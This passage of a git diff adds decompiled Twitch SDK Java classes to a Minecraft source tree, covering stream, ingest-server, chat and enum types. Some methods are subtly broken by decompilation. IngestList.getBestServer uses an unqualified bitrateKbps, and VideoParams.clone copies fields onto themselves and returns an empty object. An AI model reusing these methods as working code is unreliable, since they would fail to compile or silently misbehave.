+  public abstract void sendEndSpanMetaDataCallback(ErrorCode paramErrorCode);
+}
diff --git a/src/minecraft/tv/twitch/broadcast/IngestList.java b/src/minecraft/tv/twitch/broadcast/IngestList.java
new file mode 100644
index 0000000..5bcd980
--- /dev/null
+++ b/src/minecraft/tv/twitch/broadcast/IngestList.java
@@ -0,0 +1,63 @@
+package tv.twitch.broadcast;
+
+
+public class IngestList
+{
+  protected IngestServer[] servers = null;
+  protected IngestServer defaultServer = null;
+  
+  public IngestServer[] getServers()
+  {
+    return servers;
+  }
+  
+  public IngestServer getDefaultServer()
+  {
+    return defaultServer;
+  }
+  
+  public IngestList(IngestServer[] paramArrayOfIngestServer)
+  {
+    if (paramArrayOfIngestServer == null)
+    {
+      servers = new IngestServer[0];
+    }
+    else
+    {
+      servers = new IngestServer[paramArrayOfIngestServer.length];
+      for (int i = 0; i < paramArrayOfIngestServer.length; i++)
+      {
+        servers[i] = paramArrayOfIngestServer[i];
+        
+        if (servers[i].defaultServer)
+        {
+          defaultServer = servers[i];
+        }
+      }
+      
+      if ((defaultServer == null) && (servers.length > 0))
+      {
+        defaultServer = servers[0];
+      }
+    }
+  }
+  
+  public IngestServer getBestServer()
+  {
+    if ((servers == null) || (servers.length == 0))
+    {
+      return null;
+    }
+    
+    IngestServer localIngestServer = servers[0];
+    for (int i = 1; i < servers.length; i++)
+    {
+      if (bitrateKbps < servers[i].bitrateKbps)
+      {
+        localIngestServer = servers[i];
+      }
+    }
+    
+    return localIngestServer;
+  }
+}
diff --git a/src/minecraft/tv/twitch/broadcast/IngestServer.java b/src/minecraft/tv/twitch/broadcast/IngestServer.java
new file mode 100644
index 0000000..444cfe3
--- /dev/null
+++ b/src/minecraft/tv/twitch/broadcast/IngestServer.java
@@ -0,0 +1,12 @@
+package tv.twitch.broadcast;
+
+
+public class IngestServer
+{
+  public String serverName;
+  public String serverUrl;
+  public boolean defaultServer;
+  public float bitrateKbps = 0.0F;
+  
+  public IngestServer() {}
+}
diff --git a/src/minecraft/tv/twitch/broadcast/PixelFormat.java b/src/minecraft/tv/twitch/broadcast/PixelFormat.java
new file mode 100644
index 0000000..e68a906
--- /dev/null
+++ b/src/minecraft/tv/twitch/broadcast/PixelFormat.java
@@ -0,0 +1,43 @@
+package tv.twitch.broadcast;
+
+import java.util.EnumSet;
+import java.util.HashMap;
+import java.util.Map;
+
+public enum PixelFormat
+{
+  TTV_PF_BGRA(66051), 
+  TTV_PF_ABGR(16909056), 
+  TTV_PF_RGBA(33619971), 
+  TTV_PF_ARGB(50462976);
+  
+  static { s_Map = new HashMap();
+    
+
+
+    EnumSet localEnumSet = EnumSet.allOf(PixelFormat.class);
+    
+    for (PixelFormat localPixelFormat : localEnumSet)
+    {
+      s_Map.put(Integer.valueOf(localPixelFormat.getValue()), localPixelFormat);
+    }
+  }
+  
+  public static PixelFormat lookupValue(int paramInt)
+  {
+    PixelFormat localPixelFormat = (PixelFormat)s_Map.get(Integer.valueOf(paramInt));
+    return localPixelFormat;
+  }
+  
+  private static Map<Integer, PixelFormat> s_Map;
+  private int m_Value;
+  private PixelFormat(int paramInt)
+  {
+    m_Value = paramInt;
+  }
+  
+  public int getValue()
+  {
+    return m_Value;
+  }
+}
diff --git a/src/minecraft/tv/twitch/broadcast/RTMPState.java b/src/minecraft/tv/twitch/broadcast/RTMPState.java
new file mode 100644
index 0000000..75526b1
--- /dev/null
+++ b/src/minecraft/tv/twitch/broadcast/RTMPState.java
@@ -0,0 +1,49 @@
+package tv.twitch.broadcast;
+
+import java.util.EnumSet;
+import java.util.HashMap;
+import java.util.Map;
+
+public enum RTMPState
+{
+  Invalid(-1), 
+  Idle(0), 
+  Initialize(1), 
+  Handshake(2), 
+  Connect(3), 
+  CreateStream(4), 
+  Publish(5), 
+  SendVideo(6), 
+  Shutdown(7), 
+  Error(8);
+  
+  static { s_Map = new HashMap();
+    
+
+
+    EnumSet localEnumSet = EnumSet.allOf(RTMPState.class);
+    
+    for (RTMPState localRTMPState : localEnumSet)
+    {
+      s_Map.put(Integer.valueOf(localRTMPState.getValue()), localRTMPState);
+    }
+  }
+  
+  public static RTMPState lookupValue(int paramInt)
+  {
+    RTMPState localRTMPState = (RTMPState)s_Map.get(Integer.valueOf(paramInt));
+    return localRTMPState;
+  }
+  
+  private static Map<Integer, RTMPState> s_Map;
+  private int m_Value;
+  private RTMPState(int paramInt)
+  {
+    m_Value = paramInt;
+  }
+  
+  public int getValue()
+  {
+    return m_Value;
+  }
+}
diff --git a/src/minecraft/tv/twitch/broadcast/StartFlags.java b/src/minecraft/tv/twitch/broadcast/StartFlags.java
new file mode 100644
index 0000000..6006921
--- /dev/null
+++ b/src/minecraft/tv/twitch/broadcast/StartFlags.java
@@ -0,0 +1,41 @@
+package tv.twitch.broadcast;
+
+import java.util.EnumSet;
+import java.util.HashMap;
+import java.util.Map;
+
+public enum StartFlags
+{
+  None(0), 
+  TTV_Start_BandwidthTest(1);
+  
+  static { s_Map = new HashMap();
+    
+
+
+    EnumSet localEnumSet = EnumSet.allOf(StartFlags.class);
+    
+    for (StartFlags localStartFlags : localEnumSet)
+    {
+      s_Map.put(Integer.valueOf(localStartFlags.getValue()), localStartFlags);
+    }
+  }
+  
+  public static StartFlags lookupValue(int paramInt)
+  {
+    StartFlags localStartFlags = (StartFlags)s_Map.get(Integer.valueOf(paramInt));
+    return localStartFlags;
+  }
+  
+  private static Map<Integer, StartFlags> s_Map;
+  private int m_Value;
+  private StartFlags(int paramInt)
+  {
+    m_Value = paramInt;
+  }
+  
+  public int getValue()
+  {
+    return m_Value;
+  }
+}
diff --git a/src/minecraft/tv/twitch/broadcast/StatType.java b/src/minecraft/tv/twitch/broadcast/StatType.java
new file mode 100644
index 0000000..ebda1ad
--- /dev/null
+++ b/src/minecraft/tv/twitch/broadcast/StatType.java
@@ -0,0 +1,41 @@
+package tv.twitch.broadcast;
+
+import java.util.EnumSet;
+import java.util.HashMap;
+import java.util.Map;
+
+public enum StatType
+{
+  TTV_ST_RTMPSTATE(0), 
+  TTV_ST_RTMPDATASENT(1);
+  
+  static { s_Map = new HashMap();
+    
+
+
+    EnumSet localEnumSet = EnumSet.allOf(StatType.class);
+    
+    for (StatType localStatType : localEnumSet)
+    {
+      s_Map.put(Integer.valueOf(localStatType.getValue()), localStatType);
+    }
+  }
+  
+  public static StatType lookupValue(int paramInt)
+  {
+    StatType localStatType = (StatType)s_Map.get(Integer.valueOf(paramInt));
+    return localStatType;
+  }
+  
+  private static Map<Integer, StatType> s_Map;
+  private int m_Value;
+  private StatType(int paramInt)
+  {
+    m_Value = paramInt;
+  }
+  
+  public int getValue()
+  {
+    return m_Value;
+  }
+}
diff --git a/src/minecraft/tv/twitch/broadcast/Stream.java b/src/minecraft/tv/twitch/broadcast/Stream.java
new file mode 100644
index 0000000..580869a
--- /dev/null
+++ b/src/minecraft/tv/twitch/broadcast/Stream.java
@@ -0,0 +1,214 @@
+package tv.twitch.broadcast;
+
+import java.util.HashSet;
+import tv.twitch.AuthToken;
+import tv.twitch.ErrorCode;
+
+
+
+
+public class Stream
+{
+  static Stream s_Instance = null;
+  
+  public static Stream getInstance()
+  {
+    return s_Instance;
+  }
+  
+
+
+
+  StreamAPI m_StreamAPI = null;
+  
+  public Stream(StreamAPI paramStreamAPI)
+  {
+    m_StreamAPI = paramStreamAPI;
+    
+    if (s_Instance == null)
+    {
+      s_Instance = this;
+    }
+  }
+  
+  protected void finalize()
+  {
+    if (s_Instance == this)
+    {
+      s_Instance = null;
+    }
+  }
+  
+
+
+
+  public IStreamCallbacks getStreamCallbacks()
+  {
+    return m_StreamAPI.getStreamCallbacks();
+  }
+  
+  public void setStreamCallbacks(IStreamCallbacks paramIStreamCallbacks) {
+    m_StreamAPI.setStreamCallbacks(paramIStreamCallbacks);
+  }
+  
+  public IStatCallbacks getStatCallbacks()
+  {
+    return m_StreamAPI.getStatCallbacks();
+  }
+  
+  public void setStatCallbacks(IStatCallbacks paramIStatCallbacks) {
+    m_StreamAPI.setStatCallbacks(paramIStatCallbacks);
+  }
+  
+  public FrameBuffer allocateFrameBuffer(int paramInt)
+  {
+    return new FrameBuffer(m_StreamAPI, paramInt);
+  }
+  
+  public ErrorCode memsetFrameBuffer(FrameBuffer paramFrameBuffer, int paramInt)
+  {
+    return m_StreamAPI.memsetFrameBuffer(paramFrameBuffer.getAddress(), paramFrameBuffer.getSize(), paramInt);
+  }
+  
+  public ErrorCode randomizeFrameBuffer(FrameBuffer paramFrameBuffer)
+  {
+    return m_StreamAPI.randomizeFrameBuffer(paramFrameBuffer.getAddress(), paramFrameBuffer.getSize());
+  }
+  
+  public ErrorCode requestAuthToken(AuthParams paramAuthParams, HashSet<AuthFlag> paramHashSet)
+  {
+    ErrorCode localErrorCode = m_StreamAPI.requestAuthToken(paramAuthParams, paramHashSet);
+    return localErrorCode;
+  }
+  
+  public ErrorCode login(AuthToken paramAuthToken)
+  {
+    ErrorCode localErrorCode = m_StreamAPI.login(paramAuthToken);
+    return localErrorCode;
+  }
+  
+  public ErrorCode getIngestServers(AuthToken paramAuthToken)
+  {
+    return m_StreamAPI.getIngestServers(paramAuthToken);
+  }
+  
+  public ErrorCode getUserInfo(AuthToken paramAuthToken)
+  {
+    return m_StreamAPI.getUserInfo(paramAuthToken);
+  }
+  
+  public ErrorCode getStreamInfo(AuthToken paramAuthToken, String paramString)
+  {
+    return m_StreamAPI.getStreamInfo(paramAuthToken, paramString);
+  }
+  
+  public ErrorCode setStreamInfo(AuthToken paramAuthToken, String paramString, StreamInfoForSetting paramStreamInfoForSetting)
+  {
+    return m_StreamAPI.setStreamInfo(paramAuthToken, paramString, paramStreamInfoForSetting);
+  }
+  
+  public ErrorCode getArchivingState(AuthToken paramAuthToken)
+  {
+    return m_StreamAPI.getArchivingState(paramAuthToken);
+  }
+  
+  public ErrorCode runCommercial(AuthToken paramAuthToken)
+  {
+    return m_StreamAPI.runCommercial(paramAuthToken);
+  }
+  
+  public ErrorCode setVolume(AudioDeviceType paramAudioDeviceType, float paramFloat)
+  {
+    return m_StreamAPI.setVolume(paramAudioDeviceType, paramFloat);
+  }
+  
+  public float getVolume(AudioDeviceType paramAudioDeviceType)
+  {
+    return m_StreamAPI.getVolume(paramAudioDeviceType);
+  }
+  
+  public ErrorCode getGameNameList(String paramString)
+  {
+    return m_StreamAPI.getGameNameList(paramString);
+  }
+  
+  public ErrorCode getDefaultParams(VideoParams paramVideoParams)
+  {
+    return m_StreamAPI.getDefaultParams(paramVideoParams);
+  }
+  
+  public int[] getMaxResolution(int paramInt1, int paramInt2, float paramFloat1, float paramFloat2)
+  {
+    return m_StreamAPI.getMaxResolution(paramInt1, paramInt2, paramFloat1, paramFloat2);
+  }
+  
+  public ErrorCode pollTasks()
+  {
+    ErrorCode localErrorCode = m_StreamAPI.pollTasks();
+    return localErrorCode;
+  }
+  
+  public ErrorCode pollStats()
+  {
+    ErrorCode localErrorCode = m_StreamAPI.pollStats();
+    return localErrorCode;
+  }
+  
+  public ErrorCode sendActionMetaData(AuthToken paramAuthToken, String paramString1, long paramLong, String paramString2, String paramString3)
+  {
+    ErrorCode localErrorCode = m_StreamAPI.sendActionMetaData(paramAuthToken, paramString1, paramLong, paramString2, paramString3);
+    return localErrorCode;
+  }
+  
+  public long sendStartSpanMetaData(AuthToken paramAuthToken, String paramString1, long paramLong, String paramString2, String paramString3)
+  {
+    long l = m_StreamAPI.sendStartSpanMetaData(paramAuthToken, paramString1, paramLong, paramString2, paramString3);
+    return l;
+  }
+  
+  public ErrorCode sendEndSpanMetaData(AuthToken paramAuthToken, String paramString1, long paramLong1, long paramLong2, String paramString2, String paramString3)
+  {
+    ErrorCode localErrorCode = m_StreamAPI.sendEndSpanMetaData(paramAuthToken, paramString1, paramLong1, paramLong2, paramString2, paramString3);
+    return localErrorCode;
+  }
+  
+  public ErrorCode submitVideoFrame(FrameBuffer paramFrameBuffer)
+  {
+    ErrorCode localErrorCode = m_StreamAPI.submitVideoFrame(paramFrameBuffer.getAddress());
+    return localErrorCode;
+  }
+  
+  public ErrorCode captureFrameBuffer_ReadPixels(FrameBuffer paramFrameBuffer)
+  {
+    ErrorCode localErrorCode = m_StreamAPI.captureFrameBuffer_ReadPixels(paramFrameBuffer.getAddress());
+    return localErrorCode;
+  }
+  
+  public ErrorCode start(VideoParams paramVideoParams, AudioParams paramAudioParams, IngestServer paramIngestServer, StartFlags paramStartFlags, boolean paramBoolean)
+  {
+    if (paramStartFlags == null)
+    {
+      paramStartFlags = StartFlags.None;
+    }
+    
+    ErrorCode localErrorCode = m_StreamAPI.start(paramVideoParams, paramAudioParams, paramIngestServer, paramStartFlags.getValue(), paramBoolean);
+    return localErrorCode;
+  }
+  
+  public ErrorCode stop(boolean paramBoolean)
+  {
+    ErrorCode localErrorCode = m_StreamAPI.stop(paramBoolean);
+    return localErrorCode;
+  }
+  
+  public ErrorCode pauseVideo()
+  {
+    ErrorCode localErrorCode = m_StreamAPI.pauseVideo();
+    return localErrorCode;
+  }
+  
+  public long getStreamTime()
+  {
+    return m_StreamAPI.getStreamTime();
+  }
+}
diff --git a/src/minecraft/tv/twitch/broadcast/StreamAPI.java b/src/minecraft/tv/twitch/broadcast/StreamAPI.java
new file mode 100644
index 0000000..6b954d1
--- /dev/null
+++ b/src/minecraft/tv/twitch/broadcast/StreamAPI.java
@@ -0,0 +1,74 @@
+package tv.twitch.broadcast;
+
+import java.util.HashSet;
+import tv.twitch.AuthToken;
+import tv.twitch.ErrorCode;
+
+public abstract class StreamAPI
+{
+  public StreamAPI() {}
+  
+  public abstract void setStreamCallbacks(IStreamCallbacks paramIStreamCallbacks);
+  
+  public abstract IStreamCallbacks getStreamCallbacks();
+  
+  public abstract void setStatCallbacks(IStatCallbacks paramIStatCallbacks);
+  
+  public abstract IStatCallbacks getStatCallbacks();
+  
+  public abstract ErrorCode requestAuthToken(AuthParams paramAuthParams, HashSet<AuthFlag> paramHashSet);
+  
+  public abstract ErrorCode login(AuthToken paramAuthToken);
+  
+  public abstract ErrorCode getIngestServers(AuthToken paramAuthToken);
+  
+  public abstract ErrorCode getUserInfo(AuthToken paramAuthToken);
+  
+  public abstract ErrorCode getStreamInfo(AuthToken paramAuthToken, String paramString);
+  
+  public abstract ErrorCode setStreamInfo(AuthToken paramAuthToken, String paramString, StreamInfoForSetting paramStreamInfoForSetting);
+  
+  public abstract ErrorCode getArchivingState(AuthToken paramAuthToken);
+  
+  public abstract ErrorCode runCommercial(AuthToken paramAuthToken);
+  
+  public abstract ErrorCode setVolume(AudioDeviceType paramAudioDeviceType, float paramFloat);
+  
+  public abstract float getVolume(AudioDeviceType paramAudioDeviceType);
+  
+  public abstract ErrorCode getGameNameList(String paramString);
+  
+  public abstract ErrorCode getDefaultParams(VideoParams paramVideoParams);
+  
+  public abstract int[] getMaxResolution(int paramInt1, int paramInt2, float paramFloat1, float paramFloat2);
+  
+  public abstract ErrorCode pollTasks();
+  
+  public abstract ErrorCode pollStats();
+  
+  public abstract ErrorCode sendActionMetaData(AuthToken paramAuthToken, String paramString1, long paramLong, String paramString2, String paramString3);
+  
+  public abstract long sendStartSpanMetaData(AuthToken paramAuthToken, String paramString1, long paramLong, String paramString2, String paramString3);
+  
+  public abstract ErrorCode sendEndSpanMetaData(AuthToken paramAuthToken, String paramString1, long paramLong1, long paramLong2, String paramString2, String paramString3);
+  
+  public abstract ErrorCode submitVideoFrame(long paramLong);
+  
+  public abstract ErrorCode start(VideoParams paramVideoParams, AudioParams paramAudioParams, IngestServer paramIngestServer, int paramInt, boolean paramBoolean);
+  
+  public abstract ErrorCode stop(boolean paramBoolean);
+  
+  public abstract ErrorCode pauseVideo();
+  
+  public abstract long allocateFrameBuffer(int paramInt);
+  
+  public abstract ErrorCode freeFrameBuffer(long paramLong);
+  
+  public abstract ErrorCode memsetFrameBuffer(long paramLong, int paramInt1, int paramInt2);
+  
+  public abstract ErrorCode randomizeFrameBuffer(long paramLong, int paramInt);
+  
+  public abstract ErrorCode captureFrameBuffer_ReadPixels(long paramLong);
+  
+  public abstract long getStreamTime();
+}
diff --git a/src/minecraft/tv/twitch/broadcast/StreamInfo.java b/src/minecraft/tv/twitch/broadcast/StreamInfo.java
new file mode 100644
index 0000000..62a7e58
--- /dev/null
+++ b/src/minecraft/tv/twitch/broadcast/StreamInfo.java
@@ -0,0 +1,9 @@
+package tv.twitch.broadcast;
+
+public class StreamInfo
+{
+  public int viewers;
+  public long streamId;
+  
+  public StreamInfo() {}
+}
diff --git a/src/minecraft/tv/twitch/broadcast/StreamInfoForSetting.java b/src/minecraft/tv/twitch/broadcast/StreamInfoForSetting.java
new file mode 100644
index 0000000..5e4a439
--- /dev/null
+++ b/src/minecraft/tv/twitch/broadcast/StreamInfoForSetting.java
@@ -0,0 +1,9 @@
+package tv.twitch.broadcast;
+
+public class StreamInfoForSetting
+{
+  public String streamTitle;
+  public String gameName;
+  
+  public StreamInfoForSetting() {}
+}
diff --git a/src/minecraft/tv/twitch/broadcast/UserInfo.java b/src/minecraft/tv/twitch/broadcast/UserInfo.java
new file mode 100644
index 0000000..02c6929
--- /dev/null
+++ b/src/minecraft/tv/twitch/broadcast/UserInfo.java
@@ -0,0 +1,9 @@
+package tv.twitch.broadcast;
+
+public class UserInfo
+{
+  public String displayName;
+  public String name;
+  
+  public UserInfo() {}
+}
diff --git a/src/minecraft/tv/twitch/broadcast/VideoFrame.java b/src/minecraft/tv/twitch/broadcast/VideoFrame.java
new file mode 100644
index 0000000..809aa52
--- /dev/null
+++ b/src/minecraft/tv/twitch/broadcast/VideoFrame.java
@@ -0,0 +1,9 @@
+package tv.twitch.broadcast;
+
+public class VideoFrame
+{
+  public byte[] frameBuffer;
+  public long mTimeStamp;
+  
+  public VideoFrame() {}
+}
diff --git a/src/minecraft/tv/twitch/broadcast/VideoParams.java b/src/minecraft/tv/twitch/broadcast/VideoParams.java
new file mode 100644
index 0000000..7bab4f4
--- /dev/null
+++ b/src/minecraft/tv/twitch/broadcast/VideoParams.java
@@ -0,0 +1,33 @@
+package tv.twitch.broadcast;
+
+public class VideoParams
+{
+  public int outputWidth;
+  public int outputHeight;
+  public PixelFormat pixelFormat = PixelFormat.TTV_PF_BGRA;
+  public int maxKbps;
+  public int targetFps;
+  public EncodingCpuUsage encodingCpuUsage = EncodingCpuUsage.TTV_ECU_HIGH;
+  public boolean disableAdaptiveBitrate = false;
+  public boolean verticalFlip = false;
+  
+
+  public VideoParams() {}
+  
+
+  public VideoParams clone()
+  {
+    VideoParams localVideoParams = new VideoParams();
+    
+    outputWidth = outputWidth;
+    outputHeight = outputHeight;
+    pixelFormat = pixelFormat;
+    maxKbps = maxKbps;
+    targetFps = targetFps;
+    encodingCpuUsage = encodingCpuUsage;
+    disableAdaptiveBitrate = disableAdaptiveBitrate;
+    verticalFlip = verticalFlip;
+    
+    return localVideoParams;
+  }
+}
diff --git a/src/minecraft/tv/twitch/chat/Chat.java b/src/minecraft/tv/twitch/chat/Chat.java
new file mode 100644
index 0000000..92ababc
--- /dev/null
+++ b/src/minecraft/tv/twitch/chat/Chat.java
@@ -0,0 +1,117 @@
+package tv.twitch.chat;
+
+import java.util.HashSet;
+import tv.twitch.ErrorCode;
+
+
+
+
+public class Chat
+{
+  private static Chat s_Instance = null;
+  
+  public static Chat getInstance()
+  {
+    return s_Instance;
+  }
+  
+
+
+
+  private ChatAPI m_ChatAPI = null;
+  
+  public Chat(ChatAPI paramChatAPI)
+  {
+    m_ChatAPI = paramChatAPI;
+    
+    if (s_Instance == null)
+    {
+      s_Instance = this;
+    }
+  }
+  
+  public ErrorCode initialize(HashSet<ChatTokenizationOption> paramHashSet, IChatAPIListener paramIChatAPIListener)
+  {
+    return m_ChatAPI.initialize(paramHashSet, paramIChatAPIListener);
+  }
+  
+  public ErrorCode shutdown()
+  {
+    return m_ChatAPI.shutdown();
+  }
+  
+  public ErrorCode connect(String paramString1, String paramString2, String paramString3, IChatChannelListener paramIChatChannelListener)
+  {
+    return m_ChatAPI.connect(paramString1, paramString2, paramString3, paramIChatChannelListener);
+  }
+  
+  public ErrorCode connectAnonymous(String paramString, IChatChannelListener paramIChatChannelListener)
+  {
+    return m_ChatAPI.connectAnonymous(paramString, paramIChatChannelListener);
+  }
+  
+  public ErrorCode disconnect(String paramString)
+  {
+    return m_ChatAPI.disconnect(paramString);
+  }
+  
+  public ErrorCode sendMessage(String paramString1, String paramString2)
+  {
+    return m_ChatAPI.sendMessage(paramString1, paramString2);
+  }
+  
+  public ErrorCode flushEvents()
+  {
+    return m_ChatAPI.flushEvents();
+  }
+  
+  public ErrorCode downloadEmoticonData()
+  {
+    return m_ChatAPI.downloadEmoticonData();
+  }
+  
+  public ErrorCode getEmoticonData(ChatEmoticonData paramChatEmoticonData)
+  {
+    return m_ChatAPI.getEmoticonData(paramChatEmoticonData);
+  }
+  
+  public ErrorCode clearEmoticonData()
+  {
+    return m_ChatAPI.clearEmoticonData();
+  }
+  
+  public ErrorCode downloadBadgeData(String paramString)
+  {
+    return m_ChatAPI.downloadBadgeData(paramString);
+  }
+  
+  public ErrorCode getBadgeData(String paramString, ChatBadgeData paramChatBadgeData)
+  {
+    return m_ChatAPI.getBadgeData(paramString, paramChatBadgeData);
+  }
+  
+  public ErrorCode clearBadgeData(String paramString)
+  {
+    return m_ChatAPI.clearBadgeData(paramString);
+  }
+  
+  public int getMessageFlushInterval()
+  {
+    return m_ChatAPI.getMessageFlushInterval();
+  }
+  
+  public ErrorCode setMessageFlushInterval(int paramInt)
+  {
+    return m_ChatAPI.setMessageFlushInterval(paramInt);
+  }
+  
+  public int getUserChangeEventInterval()
+  {
+    return m_ChatAPI.getUserChangeEventInterval();
+  }
+  
+  public ErrorCode setUserChangeEventInterval(int paramInt)
+  {
+    return m_ChatAPI.setUserChangeEventInterval(paramInt);
+  }
+}
diff --git a/src/minecraft/tv/twitch/chat/ChatAPI.java b/src/minecraft/tv/twitch/chat/ChatAPI.java
new file mode 100644
index 0000000..21f0adc
--- /dev/null
+++ b/src/minecraft/tv/twitch/chat/ChatAPI.java
@@ -0,0 +1,43 @@
+package tv.twitch.chat;
+
+import java.util.HashSet;
+import tv.twitch.ErrorCode;
+
+public abstract class ChatAPI
+{
+  public ChatAPI() {}
+  
+  public abstract ErrorCode initialize(HashSet<ChatTokenizationOption> paramHashSet, IChatAPIListener paramIChatAPIListener);
+  
+  public abstract ErrorCode shutdown();
+  
+  public abstract ErrorCode connect(String paramString1, String paramString2, String paramString3, IChatChannelListener paramIChatChannelListener);
+  
+  public abstract ErrorCode connectAnonymous(String paramString, IChatChannelListener paramIChatChannelListener);
+  
+  public abstract ErrorCode disconnect(String paramString);
+  
+  public abstract ErrorCode sendMessage(String paramString1, String paramString2);
+  
+  public abstract ErrorCode flushEvents();
+  
+  public abstract ErrorCode downloadEmoticonData();
+  
+  public abstract ErrorCode getEmoticonData(ChatEmoticonData paramChatEmoticonData);
+  
+  public abstract ErrorCode clearEmoticonData();
+  
+  public abstract ErrorCode downloadBadgeData(String paramString);
+  
+  public abstract ErrorCode getBadgeData(String paramString, ChatBadgeData paramChatBadgeData);
+  
+  public abstract ErrorCode clearBadgeData(String paramString);
+  
+  public abstract int getMessageFlushInterval();
+  
+  public abstract ErrorCode setMessageFlushInterval(int paramInt);
+  
+  public abstract int getUserChangeEventInterval();
+  
+  public abstract ErrorCode setUserChangeEventInterval(int paramInt);
+}
diff --git a/src/minecraft/tv/twitch/chat/ChatBadgeData.java b/src/minecraft/tv/twitch/chat/ChatBadgeData.java
new file mode 100644
index 0000000..d6e1403
--- /dev/null
+++ b/src/minecraft/tv/twitch/chat/ChatBadgeData.java
@@ -0,0 +1,15 @@
+package tv.twitch.chat;
+
+public class ChatBadgeData
+{
+  public String channelName;
+  public ChatTextureSheet[] textures;
+  public ChatMessageToken turboIcon;
+  public ChatMessageToken channelSubscriberIcon;
+  public ChatMessageToken broadcasterIcon;
+  public ChatMessageToken staffIcon;
+  public ChatMessageToken adminIcon;
+  public ChatMessageToken moderatorIcon;
+  
+  public ChatBadgeData() {}
+}
diff --git a/src/minecraft/tv/twitch/chat/ChatChannelInfo.java b/src/minecraft/tv/twitch/chat/ChatChannelInfo.java
new file mode 100644
index 0000000..4751b36
--- /dev/null
+++ b/src/minecraft/tv/twitch/chat/ChatChannelInfo.java
@@ -0,0 +1,9 @@
+package tv.twitch.chat;
+
+public class ChatChannelInfo
+{
+  public String name;
+  public ChatUserInfo broadcasterUserInfo;
+  
+  public ChatChannelInfo() {}
+}
diff --git a/src/minecraft/tv/twitch/chat/ChatEmoticonData.java b/src/minecraft/tv/twitch/chat/ChatEmoticonData.java
new file mode 100644
index 0000000..79ed6dc
--- /dev/null
+++ b/src/minecraft/tv/twitch/chat/ChatEmoticonData.java
@@ -0,0 +1,8 @@
+package tv.twitch.chat;
+
+public class ChatEmoticonData
+{
+  public ChatTextureSheet[] textures;
+  
+  public ChatEmoticonData() {}
+}
diff --git a/src/minecraft/tv/twitch/chat/ChatEvent.java b/src/minecraft/tv/twitch/chat/ChatEvent.java
new file mode 100644
index 0000000..983098b
--- /dev/null
+++ b/src/minecraft/tv/twitch/chat/ChatEvent.java
@@ -0,0 +1,44 @@
+package tv.twitch.chat;
+
+import java.util.EnumSet;
+import java.util.HashMap;
+import java.util.Map;
+
+
+
+
+public enum ChatEvent
+{
+  TTV_CHAT_JOINED_CHANNEL(0), 
+  TTV_CHAT_LEFT_CHANNEL(1);
+  
+  static { s_Map = new HashMap();
+    
+
+
+    EnumSet localEnumSet = EnumSet.allOf(ChatEvent.class);
+    
+    for (ChatEvent localChatEvent : localEnumSet)
+    {
+      s_Map.put(Integer.valueOf(localChatEvent.getValue()), localChatEvent);
+    }
+  }
+  
+  public static ChatEvent lookupValue(int paramInt)
+  {
+    ChatEvent localChatEvent = (ChatEvent)s_Map.get(Integer.valueOf(paramInt));
+    return localChatEvent;
+  }
+  
+  private static Map<Integer, ChatEvent> s_Map;
+  private int m_Value;
+  private ChatEvent(int paramInt)
+  {
+    m_Value = paramInt;
+  }
+  
+  public int getValue()
+  {
+    return m_Value;
+  }
+}
diff --git a/src/minecraft/tv/twitch/chat/ChatMessageToken.java b/src/minecraft/tv/twitch/chat/ChatMessageToken.java
new file mode 100644
index 0000000..f62604f
--- /dev/null
+++ b/src/minecraft/tv/twitch/chat/ChatMessageToken.java
@@ -0,0 +1,8 @@
+package tv.twitch.chat;
+
+public class ChatMessageToken
+{
+  public ChatMessageTokenType type;
+  
+  public ChatMessageToken() {}
+}
diff --git a/src/minecraft/tv/twitch/chat/ChatMessageTokenType.java b/src/minecraft/tv/twitch/chat/ChatMessageTokenType.java
new file mode 100644
index 0000000..c0c98bd
--- /dev/null
+++ b/src/minecraft/tv/twitch/chat/ChatMessageTokenType.java
@@ -0,0 +1,45 @@
+package tv.twitch.chat;
+
+import java.util.EnumSet;
+import java.util.HashMap;
+import java.util.Map;
+
+
+
+
+public enum ChatMessageTokenType
+{
+  TTV_CHAT_MSGTOKEN_TEXT(0), 
+  TTV_CHAT_MSGTOKEN_TEXTURE_IMAGE(1), 
+  TTV_CHAT_MSGTOKEN_URL_IMAGE(2);
+  
+  static { s_Map = new HashMap();
+    
+
+
+    EnumSet localEnumSet = EnumSet.allOf(ChatMessageTokenType.class);
+    
+    for (ChatMessageTokenType localChatMessageTokenType : localEnumSet)
+    {
+      s_Map.put(Integer.valueOf(localChatMessageTokenType.getValue()), localChatMessageTokenType);
+    }
+  }
+  
+  public static ChatMessageTokenType lookupValue(int paramInt)
+  {
+    ChatMessageTokenType localChatMessageTokenType = (ChatMessageTokenType)s_Map.get(Integer.valueOf(paramInt));
+    return localChatMessageTokenType;
+  }
+  
+  private static Map<Integer, ChatMessageTokenType> s_Map;
+  private int m_Value;
+  private ChatMessageTokenType(int paramInt)
+  {
+    m_Value = paramInt;
+  }
+  
+  public int getValue()
+  {
+    return m_Value;
+  }
+}
diff --git a/src/minecraft/tv/twitch/chat/ChatRawMessage.java b/src/minecraft/tv/twitch/chat/ChatRawMessage.java
new file mode 100644
index 0000000..4d3a77e
--- /dev/null
+++ b/src/minecraft/tv/twitch/chat/ChatRawMessage.java
@@ -0,0 +1,18 @@
+package tv.twitch.chat;
+
+import java.util.HashSet;
+
+
+
+
+public class ChatRawMessage
+{
+  public String userName = null;
+  public String message = null;
+  public HashSet<ChatUserMode> modes = new HashSet();
+  public HashSet<ChatUserSubscription> subscriptions = new HashSet();
+  public int nameColorARGB = 0;
+  public boolean action = false;
+  
+  public ChatRawMessage() {}
+}
diff --git a/src/minecraft/tv/twitch/chat/ChatTextMessageToken.java b/src/minecraft/tv/twitch/chat/ChatTextMessageToken.java
new file mode 100644
index 0000000..77d29bf
--- /dev/null
+++ b/src/minecraft/tv/twitch/chat/ChatTextMessageToken.java
@@ -0,0 +1,14 @@
+package tv.twitch.chat;
+
+
+
+public class ChatTextMessageToken
+  extends ChatMessageToken
+{
+  public String text = null;
+  
+  public ChatTextMessageToken()
+  {
+    type = ChatMessageTokenType.TTV_CHAT_MSGTOKEN_TEXT;
+  }
+}
diff --git a/src/minecraft/tv/twitch/chat/ChatTextureImageMessageToken.java b/src/minecraft/tv/twitch/chat/ChatTextureImageMessageToken.java
new file mode 100644
index 0000000..85728d3
--- /dev/null
+++ b/src/minecraft/tv/twitch/chat/ChatTextureImageMessageToken.java
@@ -0,0 +1,18 @@
+package tv.twitch.chat;
+
+
+
+public class ChatTextureImageMessageToken
+  extends ChatMessageToken
+{
+  public int sheetIndex = -1;
+  public short x1;
+  public short y1;
+  public short x2;
+  public short y2;
+  
+  public ChatTextureImageMessageToken()
+  {
